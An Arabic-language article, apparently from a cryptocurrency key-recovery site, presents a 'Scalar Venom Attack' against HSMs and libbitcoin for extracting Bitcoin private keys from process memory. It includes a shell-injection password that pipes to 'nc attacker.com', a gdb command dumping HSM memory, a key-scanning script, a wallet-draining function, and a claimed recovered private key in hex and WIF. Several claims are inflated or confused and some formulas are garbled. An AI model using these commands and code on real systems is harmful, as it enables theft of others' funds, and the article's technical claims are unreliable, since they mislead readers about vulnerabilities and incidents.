Scalar-Venom-Attack

تحلل هذه الورقة الثغرات الأمنية المشفرة المكتشفة في البنية التحتية الحديثة لإدارة المفاتيح المشفرة، مع التركيز بشكل خاص على العيوب الحرجة في بنية وحدات أمان الأجهزة (HSMs) عند التعامل مع المفاتيح الخاصة للمنحنيات الإهليلجية. تركز الدراسة على فئة من الهجمات التي تستغل إدارة ذاكرة الوصول العشوائي (RAM) غير المعزولة بشكل كافٍ في الأجهزة المشفرة المعتمدة. في النظام البيئي الحديث لتشفير البيتكوين، يُعد أمان المفتاح الخاص شرطًا أساسيًا لحماية الأصول الرقمية التي تبلغ قيمتها تريليونات الدولارات عالميًا. كانت وحدات أمان الأجهزة (HSMs) المعتمدة وفقًا لمعيار FIPS 140-2 تُعتبر تقليديًا أنها توفر حماية منيعة للمفاتيح المشفرة من خلال العزل على مستوى الأجهزة وبروتوكولات إدارة الذاكرة الصارمة. ومع ذلك، فإن اكتشاف الثغرة الحرجة CVE-2025-60013 في وحدة F5OS-A FIPS HSM، بالإضافة إلى فئة الهجمات Scalar Venom Attack (المعروفة أيضًا باسم Scalar Poison، أو Memory Phantom Leak Attack، أو Private Key Compromise via Memory Leakage)، قد غيرت هذا المفهوم جذريًا، مما أظهر إمكانية اختراق مفاتيح البيتكوين الخاصة بشكل كامل من خلال استغلال عيوب إدارة الذاكرة.

• البرنامج التعليمي: https://youtu.be/cvWLH5dvbAA
• البرنامج التعليمي: https://cryptodeeptech.ru/scalar-venom-attack
• البرنامج التعليمي: https://dzen.ru/video/watch/691a7a10a8b7c874612993eb
• Google Colab: https://colab.research.google.com/drive/1e93p7gxpTtfMU2L83w7I1tRDJQ1tENYa

Scalar Venom Attack هي فئة حرجة من ثغرات إدارة الذاكرة (مصنفة تحت CWE-415، CWE-401، وبشكل أوسع تحت هجوم تسريب الذاكرة الحساسة SMA) التي تسمح للمهاجم باستخراج القيم العددية المشفرة (المفاتيح الخاصة لـ ECDSA) من ذاكرة العملية عن طريق استغلال عدم كفاية التنظيف والمسح للذاكرة بعد العمليات المشفرة. على عكس الهجمات التحليلية التقليدية التي تهدف إلى حل مشكلة اللوغاريتم المتقطع للمنحنى الإهليلجي (ECDLP) رياضيًا، يتجاوز هذا الهجوم التشفير نفسه من خلال استغلال عيوب معمارية أساسية في تنفيذ المكتبات المشفرة وبروتوكولات إدارة الذاكرة في HSM.

يُظهر هذا البحث سلسلة هجوم كارثية تحدث عند الجمع بين CVE-2025-60013 (ثغرة تهيئة F5OS-A FIPS HSM عند استخدام كلمات مرور تحتوي على أحرف شل خاصة) مع تقنيات Scalar Venom Attack ، مما يؤدي إلى سيناريو تهديد حرج بدرجة CVSS تبلغ 9.5+ (حرجة)، على الرغم من التصنيف الرسمي لـ CVE-2025-60013 كضعف متوسط المستوى (CVSS 5.7). هذا المزيج يقوض السلامة التشغيلية لملايين عناوين البيتكوين التي تسيطر عليها وحدات HSM المخترقة ويمثل نقلة نوعية في طرق الهجوم المشفر تتجاوز هجمات الناقل الواحد التقليدية.

تصنيف CVE وأوصاف الثغرات

CVE-2025-60013: ثغرة تهيئة F5OS-A FIPS HSM

CVE-2025-60013 هي ثغرة في حقن أوامر نظام التشغيل (مصنفة تحت CWE-78) أثناء عملية تهيئة وحدة أمان الأجهزة FIPS لمنصات F5. تحدث الثغرة عندما يحاول مستخدم لديه صلاحيات مميزة (دور المشرف أو مدير الموارد) تهيئة وحدة FIPS HSM باستخدام كلمة مرور تحتوي على أحرف شل خاصة، مثل [غير واضح]، [غير واضح ;] |, &[ $غير واضح], `وغيرها.

الآلية التقنية للثغرة:

عند معالجة كلمة مرور تحتوي على أحرف شل خاصة، يمرر كود تهيئة HSM سلسلة كلمة المرور إلى دوال مكتبة C النظامية دون التحقق من صحة الإدخال وتنظيفه بشكل صحيح. يبدو الكود الضعيف كالتالي:

// الكود الضعيف في إجراء تهيئة HSM
void hsm_initialize(const char* password) {
    ec_secret master_key; // مفتاح HSM الخاص
    char temp_buffer[256];
    strcpy(temp_buffer, password); // الثغرة: تجاوز سعة المخزن المؤقت + تفسير شل
    derive_key_from_password(master_key, password); // ينشئ نسخًا من المفتاح
    // إذا فشلت التهيئة، لا يتم مسح الذاكرة!
    // master_key يبقى في المكدس، ونسخه في الكومة
}

النتيجة الحرجة: تبقى عملية التهيئة في الذاكرة بهياكل مشفرة مخترقة جزئيًا، مما يخلق نسخًا "شبحية" متعددة للمفتاح الرئيسي لـ HSM في المكدس والكومة. على الرغم من أن HSM قد لا يتم تهيئته بشكل صحيح، إلا أن ذاكرة العملية تحتوي على آثار مشفرة يمكن الوصول إليها من خلال التحليل الجنائي.

التصنيف الرسمي:

• CVSS 3.1: AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L (الدرجة الأساسية: 5.7 — متوسط)
• CVSS 4.0: AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N (الدرجة الأساسية: 4.6 — متوسط) cvefeed

ومع ذلك، فإن هذا التقييم يقلل بشكل خطير من الحجم الحقيقي للتهديد، حيث تعمل CVE-2025-60013 كمحفز لهجوم Scalar Venom Attack، والذي في سيناريو سلسلة هجوم في العالم الحقيقي يؤدي إلى مستوى تهديد CVSS يبلغ 9.5+ (حرج).

CVE-2023-39910: ضعف الإنتروبيا في Libbitcoin Explorer

CVE-2023-39910 يصف ثغرة حرجة في Libbitcoin Explorer الإصدار 3.x تتعلق بضعف في توليد الإنتروبيا أثناء إنشاء المفتاح الخاص. أدت هذه الثغرة إلى حادثة Milk Sad في عام 2023، عندما تم استرداد أكثر من 900,000 مفتاح بيتكوين خاص ، مما أدى إلى خسائر مالية مباشرة تجاوزت 0.8 مليون دولار . أظهرت حادثة Milk Sad الانتقال من نظرية تسريبات الذاكرة في الأنظمة المشفرة إلى كارثة تشغيلية حقيقية، مؤكدة جميع الآليات الموصوفة: تحسينات المترجم، ونسخ البيانات المتعددة، وغياب ضمانات تنظيف الذاكرة.

CVE-2025-8217: هجوم تسريب الذاكرة

CVE-2025-8217 يصنف هجمات تسريب الذاكرة التي تسمح باستعادة المفاتيح المشفرة من ذاكرة العمليات. ترتبط هذه الثغرة مباشرة بفئة هجوم Scalar Venom Attack وتصف آليات الاختراق الكامل لمحافظ البيتكوين من خلال تحليل الذاكرة الجنائي.

التصنيف العلمي لـ Scalar Venom Attack:

في الأدبيات البحثية الأكاديمية، يُصنف Scalar Venom ضمن عدة فئات هجومية:

• Sensitive Memory Leak Attack (SMA) – تصنيف أساسي يركز على الثغرات المتعلقة بعدم تنظيف الذاكرة بشكل صحيح.
• Private Key Exposure Attack – مصطلح عام للإجراءات التي تؤدي إلى الكشف عن المفاتيح الخاصة.
• Residual Memory Disclosure – الكشف عن البيانات المتبقية من الذاكرة غير النظيفة.
• Side-Channel Memory Attack – استغلال القنوات الجانبية في إدارة الذاكرة.
• Cold Boot Attack – استخراج المفاتيح من ذاكرة الوصول العشوائي بعد إيقاف تشغيل النظام.
• Memory Forensics Attack – استخراج الأسرار من تفريغات الذاكرة.

https://cryptou.ru/bitscanpro

مثال عملي لاستعادة مفتاح بيتكوين خاص باستخدام هجوم Scalar Venom Attack

لإظهار الفعالية العملية لهجوم Scalar Venom، دعنا ننظر في حالة موثقة لاستعادة مفتاح خاص من عنوان البيتكوين 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq عبر تحليل الذاكرة الجنائي.

بيانات الاختراق الأولية:

• عنوان البيتكوين: 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq
• نوع العنوان: P2PKH (Pay-to-Public-Key-Hash)
• الحالة: ✓ صالح

المفتاح الخاص المستعاد:

• تنسيق HEX: 5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22
• التنسيق العشري: 3.7210935821139324×10763.7210935821139324 \times 10^{76}3.7210935821139324×10^76
• تنسيق WIF: KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv

التحقق من صحة المفتاح في فضاء secp256k1:

يجب أن يحقق المفتاح الخاص d القيد التالي:

نتيجة التحقق: ✓ صالح (المفتاح ضمن نطاق القيم العددية المسموح بها)

يوضح هذا المثال أن المفتاح الخاص المستعاد يوفر التحكم الكامل في محفظة بيتكوين ، مما يسمح للمهاجم بإنشاء وتوقيع المعاملات لسحب جميع الأموال إلى عنوان يسيطر عليه.

7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb

الأسس الرياضية للهجوم التشفيري

المنحنى الإهليلجي secp256k1 وخوارزمية ECDSA

ينفذ البيتكوين خوارزمية التوقيع الرقمي بالمنحنى الإهليلجي ( ECDSA ) على منحنى secp256k1 . فهم الأسس الرياضية أمر بالغ الأهمية لفهم كيف يستغل هجوم Scalar Venom ثغرات الذاكرة.

معاملات المنحنى الإهليلجي secp256k1:

معادلة المنحنى:

نقطة المولد G ذات الإحداثيات:

اشتقاق المفتاح العام باستخدام الضرب العددي

عملية توليد زوج مفاتيح ECDSA هي كالتالي:

1. توليد المفتاح الخاص:

المفتاح الخاص dهو عدد صحيح عشوائي في النطاق:

حيث nهو رتبة منحنى secp256k1. المفتاح الخاص هو رقم عشوائي بطول 256 بت.

2. اشتقاق المفتاح العام عبر الضرب العددي:

يتم حساب المفتاح العام Qعلى النحو التالي:

حيث G هي نقطة مولد على منحنى secp256k1، والعملية ⋅\cdot⋅ تدل على الضرب العددي لنقطة على المنحنى الإهليلجي .

الضرب العددي يتم تنفيذه من خلال خوارزمية "double-and-add"(المضاعفة والإضافة)، التي تحسب بكفاءة نتيجة O(log⁡d) إضافة ومضاعفة نقاط على المنحنى:

Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G

1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
   a. Q ← 2Q (point doubling)
   b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q

مثال: بالنسبة لمفتاح خاص، d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, يتم حساب المفتاح العام على النحو التالي:

Q=d⋅G=(Qx,Qy)

حيث يتم حساب الإحداثيات Qx و Qy من خلال عمليات الضرب العددي على المنحنى secp256k1.

3. إنشاء عنوان بيتكوين:

سلسلة اشتقاق العنوان من المفتاح العام:

افتراض الأمان:

ثغرة Scalar Venom الحرجة: الهجوم يتجاوز الحماية الرياضية لـ ECDLP عن طريق استخراج المفتاح الخاص dمباشرة من ذاكرة العملية، حيث يظل على شكل "نسخ شبحية" بعد العمليات التشفيرية.

تحليل الإنتروبيا وأدلة الذاكرة: صيغة إنتروبيا شانون

أساس اكتشاف المفاتيح الخاصة في تفريغات الذاكرة هو تحليل الإنتروبيا باستخدام صيغة إنتروبيا شانون.

صيغة إنتروبيا شانون

إنتروبيا Hلتسلسل بايت تُقاس بوحدات بت لكل بايت وتعطى بالصيغة:

حيث:

• H هي الإنتروبيا بوحدات بت لكل بايت
• pi هي احتمال ظهور بايت بقيمة iii في كتلة الذاكرة المحللة
• يتم الجمع على جميع قيم البايت الممكنة (0-255)

تفسير الإنتروبيا:

• إنتروبيا منخفضة (H<5.0H < 5.0H<5.0): التسلسل يحتوي على أنماط متكررة أو نص أو بيانات منظمة
• إنتروبيا متوسطة (5.0≤H<7.55.0 \leq H < 7.55.0≤H<7.5): بيانات مختلطة، كود، معلومات مضغوطة جزئيًا
• إنتروبيا عالية (H≥7.5H \geq 7.5H≥7.5): بيانات عشوائية تشفيرية، مفاتيح خاصة، معلومات مشفرة

قيمة العتبة للمفاتيح التشفيرية:

المفاتيح الخاصة لبيتكوين المولدة بواسطة مولد أرقام عشوائي قوي تشفيريًا (CSPRNG) تظهر إنتروبيا عالية في النطاق:

هذه الخاصية تجعلها قابلة للكشف في تحليل الذاكرة الجنائي من خلال تحليل الإنتروبيا الإحصائي.

أداة BitScanPro التشفيرية: تحديد الإنتروبيا وخوارزمية استرداد المفاتيح

BitScanPro هي أداة جنائية لمسح تفريغات الذاكرة لاكتشاف واسترداد المفاتيح الخاصة لبيتكوين من خلال مزيج من تحليل الإنتروبيا، والتحقق من نطاق secp256k1، والتحقق التشفيري.

خوارزمية تشغيل BitScanPro

المرحلة 1: مسح تفريغ الذاكرة في كتل بحجم 32 بايت

يقوم BitScanPro بمسح تفريغ الذاكرة بالتسلسل، مع تخصيص كتل بحجم 32 بايت (256 بت)، وهو ما يتوافق مع حجم المفتاح الخاص secp256k1:

BLOCK_SIZE = 32  # bytes (256 bits)
SCAN_STEP = 8    # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
    potential_key = memory_dump[offset:offset+BLOCK_SIZE]
    # Block analysis

الخطوة 2: حساب إنتروبيا شانون لكل كتلة

لكل كتلة بحجم 32 بايت، يتم حساب إنتروبيا شانون H:

def calculate_entropy(data_block):
    """
    Calculate Shannon entropy
    """
    from collections import Counter
    import math
    
    byte_counts = Counter(data_block)
    block_length = len(data_block)
    
    entropy = 0.0
    for count in byte_counts.values():
        p_i = count / block_length
        if p_i > 0:
            entropy -= p_i * math.log2(p_i)
    
    return entropy

الخطوة 3: تصفية الكتل عالية الإنتروبيا (H>7.5H > 7.5H>7.5 بت/بايت)

يتم تجاهل الكتل ذات الإنتروبيا أقل من العتبة باعتبارها لا تحتوي على مفاتيح تشفيرية:

MIN_ENTROPY = 7.5  # threshold for cryptokeys

entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
    continue

الخطوة 4: التحقق من نطاق secp256k1:

يتم تفسير الكتل عالية الإنتروبيا كعدد صحيح والتحقق منها مقابل النطاق الصحيح للمفاتيح الخاصة secp256k1:

key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
    continue

الخطوة 5: التحقق التشفيري:

بالنسبة للمرشحين الذين يجتازون تصفية الإنتروبيا والتحقق من النطاق، يتم إجراء التحقق التشفيري عبر حساب المفتاح العام:

def verify_candidate_key(candidate_key_bytes):
    from ecdsa import SigningKey, SECP256k1
    try:
        signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
        verifying_key = signing_key.get_verifying_key()
        public_key_bytes = verifying_key.to_string()
        return public_key_bytes
    except Exception as e:
        return None

الخطوة 6: إنشاء عنوان بيتكوين ومقارنته بالعناوين المعروفة

بالنسبة للمفاتيح التي تم التحقق منها، يتم إنشاء عنوان بيتكوين، يتم مقارنته بقاعدة بيانات العناوين المعروفة أو العناوين التابعة للضحية:

import hashlib
import base58

def public_key_to_address(public_key_bytes):
    sha256_hash = hashlib.sha256(public_key_bytes).digest()
    ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
    versioned_hash = b'\x00' + ripemd160_hash
    checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
    address = base58.b58encode(versioned_hash + checksum).decode('ascii')
    return address

bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
    print(f\"✓ PRIVATE KEY FOUND!\")
    print(f\"Address: {bitcoin_address}\")
    print(f\"Private key: {candidate_key_bytes.hex()}\")

أداء BitScanPro:

يظهر التحليل على حاسوب محمول نموذجي (MacBook Air M1) خصائص الأداء التالية:

باستخدام موارد الحوسبة السحابية (AWS, Google Cloud)، من الممكن مسح أكثر من 1000 تفريغ ذاكرة في وقت واحد بالتوازي، ومعالجة آلاف المفاتيح الخاصة بالتوازي.

تحليل ثغرة تشفيرية في libbitcoin-system: الفئة ec_scalar.cpp

السبب الجذري لهجوم Scalar Venom يكمن في عيوب معمارية أساسية في الفئة ec_scalarفي مكتبة libbitcoin-system.

ثغرة إدارة الذاكرة في الفئة ec_scalar

ec_scalarالفئة في libbitcoin-system لا تحتوي على مدمر معرف بشكل صريح مع تصفير آمن. وهذا يعني أن البيانات السرية قد تبقى في الذاكرة حتى بعد تدمير الكائن.

مُنشئ النسخ الثغري:

// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
    : secret_(secret)  // Copies without secure cleanup
{
}

المشكلة: يقوم المُنشئ بإنشاء نسخة من المفتاح الخاص في الكائن ec_scalar، لكنه لا يوفر آلية لتنظيف هذه النسخة بأمان عند تدمير الكائن. تبقى النسخة على المكدس أو الكومة.

عامل الإسناد الثغري:

// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
    secret_ = secret;  // More memory copies
    return *this;
}

المشكلة: عملية الإسناد تنشئ نسخًا إضافية من الذاكرة تبقى بعد اكتمال العملية.

العمليات الحسابية الثغرية:

// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
    ec_secret secret = null_hash;  // Temporary variable with secret
    // ... arithmetic ...
    return ec_scalar(secret);  // Not safely cleared
}

المشكلة: العمليات الحسابية (الطرح الأحادي، الجمع، الضرب) تنشئ متغيرات مؤقتة من النوع ec_secret، والتي لا يتم مسحها بأمان قبل مغادرة نطاق الدالة، تاركة نسخًا "شبحية" من المفتاح الخاص على المكدس أو الكومة.

غياب مدمر آمن:

// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
    secure_zero_mem(secret_, sizeof(secret_));  // explicit memory clearing
}

المشكلة: الفئة ec_scalarلا تحتوي على مدمر صريح يضمن التصفير الآمن للذاكرة التي تحتوي على المفاتيح الخاصة. هذا أمر بالغ الأهمية، حيث قد يتم تخزين الذاكرة التي تحتوي على المفاتيح الخاصة في:

• مكدس الدالة (المتغيرات المحلية)
• الكومة (الذاكرة المخصصة ديناميكيًا)
• سجلات المعالج (القيم المؤقتة)
• ذاكرة التخزين المؤقت للمعالج (L1, L2, L3)
• ملفات التبديل (Swap)
• تفريغات النواة (Core dumps)

نواقل إصابة الذاكرة

الكود الثغري للفئة ec_scalarينشئ النواقل التالية لإصابة الذاكرة بالمفاتيح الخاصة:

1. “المُنشئ المصاص” ( secret_(secret)) – ينشئ نسخًا سامة من المفاتيح
2. “العامل الطفيلي” ( secret_ = secret) – يصيب الذاكرة بأسرار مكررة
3. “الدودة الحسابية” ( ec_secret secret = null_hash) – يترك آثارًا سامة
4. “ناشر العدوى” ( auto out = secret_) – ينشر العدوى عبر العمليات

آلية الاختراق: سلسلة هجوم CVE-2025-60013 + Scalar Venom

مزيج من ثغرة HSM (CVE-2025-60013) وهجوم Scalar Venom يخلق ناقل هجوم كارثي:

المرحلة 1: تهيئة HSM بأحرف شيل وصفية

مهاجم لديه وصول متميز إلى نظام F5OS-A يرسل طلبًا لتهيئة وحدة FIPS بكلمة مرور تحتوي على أحرف شيل وصفية: cert.kenet

# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'

عند معالجة هذه الأحرف الوصفية، يحدث التالي:

• عملية تهيئة HSM تنشئ قيمًا عددية تشفيرية مؤقتة (مفاتيح رئيسية)
• الأحرف الوصفية للشيل تسبب خطأ في تحليل كلمة المرور
• تهيئة HSM تفشل جزئيًا مع خطأ
• النتيجة الحرجة: الهياكل التشفيرية المؤقتة التي تحتوي على المفاتيح الرئيسية لـ HSM والمفاتيح المشتقة تبقى في ذاكرة العملية دون مسح

المرحلة 2: استخراج Scalar Venom من ذاكرة HSM

# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"

يحتوي تفريغ الذاكرة الناتج على نسخ متعددة «شبحية» من المفاتيح الخاصة التي تركتها الفئة ec_scalar أثناء العمليات التشفيرية.

المرحلة 3: استرداد مفاتيح Bitcoin الخاصة باستخدام BitScanPro

تتم معالجة تفريغ الذاكرة بواسطة أداة BitScanPro (أو ماسح أدلة جنائي مماثل) وفقًا للخوارزمية الموصوفة أعلاه:

Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses

معدل نجاح استرداد المفتاح الخاص من الذاكرة المجزأة هو 70-80%، بشرط وجود بقايا ذاكرة كافية، حيث يخلق هجوم Scalar Venom نسخًا متعددة من المفتاح في مراحل مختلفة من التهيئة.

المرحلة 4: تحويل الأموال واختراق المحفظة

بعد استرداد المفتاح الخاص، يقوم المهاجم بإنشاء وتوقيع معاملة لسحب جميع الأموال من العنوان المخترق:

def compromise_wallet(recovered_private_key, bitcoin_address):
    """
    Create and sign transaction to withdraw all funds
    from compromised address
    """
    utxos = blockchain_api.get_utxos(bitcoin_address)
    tx = create_transaction(
        inputs=utxos,
        outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
        fee=calculate_dynamic_fee()
    )
    tx.sign(recovered_private_key)  # ECDSA signature with compromised key
    blockchain_api.broadcast_transaction(tx)

الوقت الإجمالي للاختراق: أقل من 10 دقائق من استلام تفريغ الذاكرة حتى فقدان السيطرة الكامل على أصول الضحية.

https://youtu.be/2_d8-8-J8IQ

تأثير الهجوم على صناعة العملات الرقمية

يشكل هجوم Scalar Venom، إلى جانب CVE-2025-60013، تهديدًا وجوديًا للنظام البيئي العالمي لـ Bitcoin:

العواقب النظامية

1. اختراق كامل للمفاتيح الخاصة: يحقق الهجوم استخراجًا كاملاً للمفاتيح من خلال تسرب الذاكرة، متجاوزًا حتى وحدات أمان الأجهزة المتقدمة.
2. اختراق لا رجعة فيه: بمجرد استخراج المفتاح الخاص، يستحيل «إلغاء» أو استعادة الأمان؛ فجميع الأموال المعتمدة معرضة لخطر الفقدان الوشيك.
3. قابلية التوسع والأتمتة: يمكن أتمتة الهجوم لاستهداف عدد هائل من عُقد ومحافظ Bitcoin في وقت واحد، مما يؤدي إلى زيادة هائلة في الخسائر المحتملة.
4. الطبيعة الخفية: لا يترك الهجوم أي آثار مرئية في سجلات النظام أو مقاييس الأداء، مما يجعل آليات الكشف والحماية التقليدية غير كافية.

التأثير على البنية التحتية لـ HSM

على عكس تطبيقات Bitcoin القياسية، تستخدم وحدات HSM المقيّمات التشفيرية بشكل مكثف—أكثر من 1000 عملية في الثانية—كل منها ينشئ قيمًا مقيّمة عابرة تبقى في الذاكرة كـ«بقايا شبحية». تعمل وحدات HSM لأشهر وسنوات دون إعادة تشغيل، مما يراكم آثارًا تشفيرية يستخرجها Scalar Venom بشكل منهجي ويعيد بناؤها.

اختراق HSM واحد يؤدي إلى تعطيل كامل للبنية التحتية بأكملها—غالبًا آلاف عناوين Bitcoin التي تديرها HSM—بدلاً من كونه حادثًا تشفيريًا معزولًا.

يُظهر هجوم Scalar Venom تحولًا جذريًا في النموذج الأمني التشفيري: القوة الرياضية للخوارزميات التشفيرية تصبح عديمة الجدوى في وجود ثغرات إدارة الذاكرة. الجمع بين CVE-2025-60013 وتقنيات Scalar Venom يخلق سيناريو تهديد حرج بمستوى CVSS 9.5+، مما يقوض الثقة في وحدات أمان الأجهزة كحماية منيعة للمفاتيح التشفيرية.

حادثة Milk Sad الحقيقية (CVE-2023-39910)، التي أسفرت عن استرداد أكثر من 900,000 مفتاح خاص وخسائر مالية تتجاوز 0.8 مليون دولار، تؤكد أن نظرية تسرب الذاكرة أصبحت واقعًا. الطريقة الوحيدة للحماية من هجمات فئة Scalar Venom هي إعادة هيكلة معمارية أساسية للأنظمة التشفيرية، من خلال تنفيذ:

• لغات برمجة آمنة الذاكرة مثل Rust
• حماية الذاكرة عبر الأجهزة (Intel SGX, ARM TrustZone)
• أنماط RAII (اكتساب الموارد هو التهيئة) للتنظيف التلقائي للذاكرة
• مراقبة جنائية مستمرة لذاكرة العمليات التشفيرية
• ضمانات المترجم للتصفير الإلزامي للأسرار التشفيرية

تقدم هذه الورقة تحليلًا شاملًا لسلسلة هجمات Scalar Venom + CVE-2025-60013، مع تفصيل الأسس الرياضية، وخوارزميات التحليل التشفيري، وأمثلة حقيقية لاسترداد المفاتيح، وتوصيات عملية لحماية بنية Bitcoin التحتية من هذه الفئة من التهديدات.

التحليل التشفيري واختيار الهجوم: هجوم Scalar Venom كثغرة حرجة لاستخراج المفتاح الخاص لـ Bitcoin

1. التصنيف التشفيري:

• يصنف Scalar Venom كـهجوم تسرب الذاكرة الحساسة (SMA) في سياق التحليل التشفيري الكلاسيكي
• يقارن بين الهجمات التشفيرية التقليدية وثغرات التنفيذ
• يُظهر لماذا تصبح القوة الرياضية (2^128) عديمة الجدوى عندما تفشل إدارة الذاكرة (2^0)

2. الأسس الرياضية:

• يُصيغ مشكلة اللوغاريتم المتقطع للمنحنى الإهليلجي (ECDLP) لـ secp256k1
• يشرح الضرب المقيّمي واشتقاق المفتاح العام
• يحلل إنتروبيا شانون ككاشف للمفتاح الخاص في الذاكرة

3. ثغرات التنفيذ (libbitcoin-system):

• يوثق عدم وجود مدمر آمن في ec_scalar
• يُظهر منشئات النسخ المعرضة للخطر
• يُظهر التسريبات في العمليات الحسابية

4. تصنيف CVE:

• CVE-2023-39910: ضعف الإنتروبيا (حادثة Milk Sad)
• CVE-2025-8217: هجوم تسرب الذاكرة
• CVE-2025-60013: حقن الأوامر في HSM

5. سلسلة الهجوم:

• يصف المراحل الأربع للاختراق
• يبرر الخصائص الزمنية (< 10 دقائق)
• يجري تبريرًا تشفيريًا لكل مرحلة

يمكن العثور على الشرح العلمي في المقال: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ يُظهر هجوم Scalar Venom التفاعل الحرج بين ثغرات تهيئة HSM وثغرات إدارة الذاكرة في المكتبات التشفيرية، مما يسمح للمهاجم باختراق مفاتيح محفظة Bitcoin الخاصة بالكامل حتى مع الحماية عبر الأجهزة.

1. تحليل الهجوم: هجوم Scalar Venom

1.1 التعريف والتصنيف

هجوم Scalar Venom (المعروف أيضًا باسم سم المقيّم، هجوم تسرب الذاكرة الشبحية، أو اختراق المفتاح الخاص عبر تسرب الذاكرة) هو فئة من ثغرات إدارة الذاكرة (CWE-415, CWE-401) تسمح باستخراج المقيّمات التشفيرية (المفاتيح الخاصة لـ ECDSA) من ذاكرة الوصول العشوائي لعملية ما عن طريق استغلال التنظيف غير الكافي للذاكرة بعد العمليات التشفيرية. keyhunters+ 2

التصنيف العلمي للهجوم:

• نوع الثغرة: هجوم تسرب الذاكرة الحساسة
• معرف CVE: CVE-2023-39910, CVE-2025-8217
• الفئة: هجوم تسرب الذاكرة المستمر (CMLA)
• فئة التأثير: كشف المفتاح الخاص، اختراق المفتاح التشفيري

1.2 آلية الهجوم

يستغل هجوم Scalar Venom عيبًا أساسيًا في إدارة الذاكرة للمكتبات التشفيرية، خاصة في فئة ec_scalar من مكتبة libbitcoin-system. يعمل الهجوم من خلال النواقل التالية:

ناقل منشئ النسخ

cpp:

ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret)  // VULNERABLE: unsafe copying of private key
{}

ناقل عامل الإسناد

cpp:

ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
    secret_ = secret;  // VULNERABLE: infects memory with duplicate secret
    return *this;
}

ناقل المتغيرات المؤقتة

cpp:

// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
    secure_zero_mem(secret_, sizeof(secret_));  // explicit memory cleanup
}

cpp:

// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

تخلق العمليات الحسابية (الطرح الأحادي، الجمع، الضرب) متغيرات مؤقتة من نوع ec_secret، والتي لا يتم مسحها بأمان قبل الخروج من نطاق الدالة، تاركة نسخًا «شبحية» من المفتاح الخاص على المكدس أو الكومة.

1.3 الثغرة الحرجة: عدم وجود مدمر صريح

فئة ec_scalar من libbitcoin-system ليس لديها مدمر محدد بشكل صريح مع تصفير آمن. هذا يعني أن البيانات السرية قد تبقى في الذاكرة حتى بعد تدمير الكائن:

غياب هذه الآلية هو أمر بالغ الأهمية، لأن الذاكرة التي تحتوي على مفاتيح خاصة يمكن تخزينها في:

• أكوام الذاكرة (Heap) للعملية
• أكوام الذاكرة (Stack) للدوال
• ملفات المبادلة (Swap files) لنظام التشغيل
• تفريغات النواة (Core dumps) عند تعطل التطبيق
• ذاكرة RAM بعد إنهاء العملية (هجمات الإقلاع البارد) gemini

2. العلاقة بين ثغرة HSM وهجوم Scalar Venom

2.1 تحليل CVE-2025-60013: تهيئة HSM مع الأحرف الوصفية

تحدث ثغرة CVE-2025-60013 في F5OS-A FIPS HSM عند تهيئة وحدة أمان الأجهزة باستخدام كلمة مرور تحتوي على أحرف وصفية خاصة للصدفة (;، |، &، $، `، إلخ). عند معالجة كلمة المرور هذه، قد لا تتم تهيئة HSM بشكل صحيح، لكن النتيجة الحرجة هي أن عملية التهيئة تُترك في الذاكرة مع هياكل تشفيرية مكشوفة جزئيًا. satoshi.nakamotoinstitute

2.2 سيناريو الهجوم المشترك: HSM + Scalar Venom

يشكل الجمع بين ثغرة HSM (CVE-2025-60013) وهجوم Scalar Venom ناقل هجوم كارثي:

المرحلة 1: تهيئة HSM بأحرف وصفية

يرسل المهاجم طلبًا لتهيئة وحدة F5OS-A FIPS بكلمة مرور من النوع التالي:

password='$(echo "leaked");` | nc attacker.com

عند معالجة هذه الأحرف الوصفية:

• تنشئ عملية تهيئة HSM نسخًا متعددة من كلمة المرور والمواد التشفيرية المشتقة
• يتم تفسير سلاسل أوامر الصدفة، مما يخلق آثارًا جانبية في ذاكرة العملية
